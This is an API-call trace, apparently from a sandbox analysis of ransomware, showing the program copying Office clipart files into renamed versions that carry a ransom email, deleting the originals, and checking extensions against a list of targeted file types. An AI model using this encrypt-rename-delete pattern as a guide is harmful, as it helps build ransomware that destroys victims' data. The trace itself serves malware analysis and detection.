GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.209] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.209] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0250.210] GetLastError () returned 0x0 [0250.210] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x76ce, lpOverlapped=0x0) returned 1 [0250.250] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x76d0, lpOverlapped=0x0) returned 1 [0250.251] ReadFile (in: hFile=0x398, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.251] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.251] SetEndOfFile (hFile=0x3bc) returned 1 [0250.251] CloseHandle (hObject=0x3bc) returned 1 [0250.251] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.251] SetEndOfFile (hFile=0x398) returned 1 [0250.253] CloseHandle (hObject=0x398) returned 1 [0250.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.254] lstrlenW (lpString=".doc") returned 4 [0250.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.254] lstrlenW (lpString=".docx") returned 5 [0250.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.254] lstrlenW (lpString=".pdf") returned 4 [0250.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.254] lstrlenW (lpString=".xls") returned 4 [0250.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.254] lstrlenW (lpString=".xlsx") returned 5 [0250.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.254] lstrlenW (lpString=".ppt") returned 4 [0250.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.254] lstrlenW (lpString=".zip") returned 4 [0250.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.255] lstrlenW (lpString=".rar") returned 4 [0250.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString=".bz2") returned 4 [0250.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString=".7z") returned 3 [0250.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.255] lstrlenW (lpString=".dbf") returned 4 [0250.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.255] lstrlenW (lpString=".1cd") returned 4 [0250.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.255] lstrlenW (lpString=".jpg") returned 4 [0250.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.255] lstrlenW (lpString=".doc") returned 4 [0250.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString=".docx") returned 5 [0250.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.255] lstrlenW (lpString=".pdf") returned 4 [0250.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString=".xls") returned 4 [0250.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.255] lstrlenW (lpString=".xlsx") returned 5 [0250.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.255] lstrlenW (lpString=".ppt") returned 4 [0250.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.255] lstrlenW (lpString=".zip") returned 4 [0250.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.255] lstrlenW (lpString=".rar") returned 4 [0250.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString=".bz2") returned 4 [0250.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.255] lstrlenW (lpString=".7z") returned 3 [0250.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.256] lstrlenW (lpString=".dbf") returned 4 [0250.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.256] lstrlenW (lpString=".1cd") returned 4 [0250.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 63 [0250.256] lstrlenW (lpString=".jpg") returned 4 [0250.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.256] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.256] lstrlenW (lpString="FD01658_.WMF") returned 12 [0250.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.259] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=17924) returned 1 [0250.259] CloseHandle (hObject=0x3b0) returned 1 [0250.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0250.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.260] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.260] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.261] GetLastError () returned 0x0 [0250.261] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4604, lpOverlapped=0x0) returned 1 [0250.272] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x4610, lpOverlapped=0x0) returned 1 [0250.273] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.273] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.273] SetEndOfFile (hFile=0x324) returned 1 [0250.274] CloseHandle (hObject=0x324) returned 1 [0250.274] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.274] SetEndOfFile (hFile=0x3b0) returned 1 [0250.276] CloseHandle (hObject=0x3b0) returned 1 [0250.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString=".doc") returned 4 [0250.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString=".docx") returned 5 [0250.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.277] lstrlenW (lpString=".pdf") returned 4 [0250.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString=".xls") returned 4 [0250.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.277] lstrlenW (lpString=".xlsx") returned 5 [0250.277] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.277] lstrlenW (lpString=".ppt") returned 4 [0250.277] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString=".zip") returned 4 [0250.277] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.277] lstrlenW (lpString=".rar") returned 4 [0250.277] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString=".bz2") returned 4 [0250.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString=".7z") returned 3 [0250.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString=".dbf") returned 4 [0250.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString=".1cd") returned 4 [0250.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString=".jpg") returned 4 [0250.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.277] lstrlenW (lpString=".doc") returned 4 [0250.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.278] lstrlenW (lpString=".docx") returned 5 [0250.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.278] lstrlenW (lpString=".pdf") returned 4 [0250.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.278] lstrlenW (lpString=".xls") returned 4 [0250.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.278] lstrlenW (lpString=".xlsx") returned 5 [0250.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.278] lstrlenW (lpString=".ppt") returned 4 [0250.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.278] lstrlenW (lpString=".zip") returned 4 [0250.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.278] lstrlenW (lpString=".rar") returned 4 [0250.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.278] lstrlenW (lpString=".bz2") returned 4 [0250.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.278] lstrlenW (lpString=".7z") returned 3 [0250.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.278] lstrlenW (lpString=".dbf") returned 4 [0250.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.278] lstrlenW (lpString=".1cd") returned 4 [0250.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 63 [0250.278] lstrlenW (lpString=".jpg") returned 4 [0250.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.278] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.278] lstrlenW (lpString="FD01659_.WMF") returned 12 [0250.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.288] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=31180) returned 1 [0250.288] CloseHandle (hObject=0x3b0) returned 1 [0250.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0250.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.294] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.294] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0250.294] GetLastError () returned 0x0 [0250.294] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x79cc, lpOverlapped=0x0) returned 1 [0250.326] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x79d0, lpOverlapped=0x0) returned 1 [0250.327] ReadFile (in: hFile=0x3b0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.327] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0250.327] SetEndOfFile (hFile=0x324) returned 1 [0250.327] CloseHandle (hObject=0x324) returned 1 [0250.328] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.328] SetEndOfFile (hFile=0x3b0) returned 1 [0250.330] CloseHandle (hObject=0x3b0) returned 1 [0250.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString=".doc") returned 4 [0250.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString=".docx") returned 5 [0250.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.331] lstrlenW (lpString=".pdf") returned 4 [0250.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString=".xls") returned 4 [0250.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.331] lstrlenW (lpString=".xlsx") returned 5 [0250.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.331] lstrlenW (lpString=".ppt") returned 4 [0250.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString=".zip") returned 4 [0250.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.331] lstrlenW (lpString=".rar") returned 4 [0250.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString=".bz2") returned 4 [0250.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString=".7z") returned 3 [0250.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString=".dbf") returned 4 [0250.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString=".1cd") returned 4 [0250.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString=".jpg") returned 4 [0250.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.331] lstrlenW (lpString=".doc") returned 4 [0250.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0250.332] lstrlenW (lpString=".docx") returned 5 [0250.332] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0250.332] lstrlenW (lpString=".pdf") returned 4 [0250.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0250.332] lstrlenW (lpString=".xls") returned 4 [0250.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0250.332] lstrlenW (lpString=".xlsx") returned 5 [0250.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0250.332] lstrlenW (lpString=".ppt") returned 4 [0250.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0250.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.332] lstrlenW (lpString=".zip") returned 4 [0250.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0250.332] lstrlenW (lpString=".rar") returned 4 [0250.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0250.332] lstrlenW (lpString=".bz2") returned 4 [0250.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0250.332] lstrlenW (lpString=".7z") returned 3 [0250.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0250.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.332] lstrlenW (lpString=".dbf") returned 4 [0250.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0250.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.332] lstrlenW (lpString=".1cd") returned 4 [0250.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0250.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 63 [0250.332] lstrlenW (lpString=".jpg") returned 4 [0250.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0250.332] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0250.332] lstrlenW (lpString="FD01660_.WMF") returned 12 [0250.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0250.333] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=12958) returned 1 [0250.333] CloseHandle (hObject=0x3b0) returned 1 [0250.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x20 [0250.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 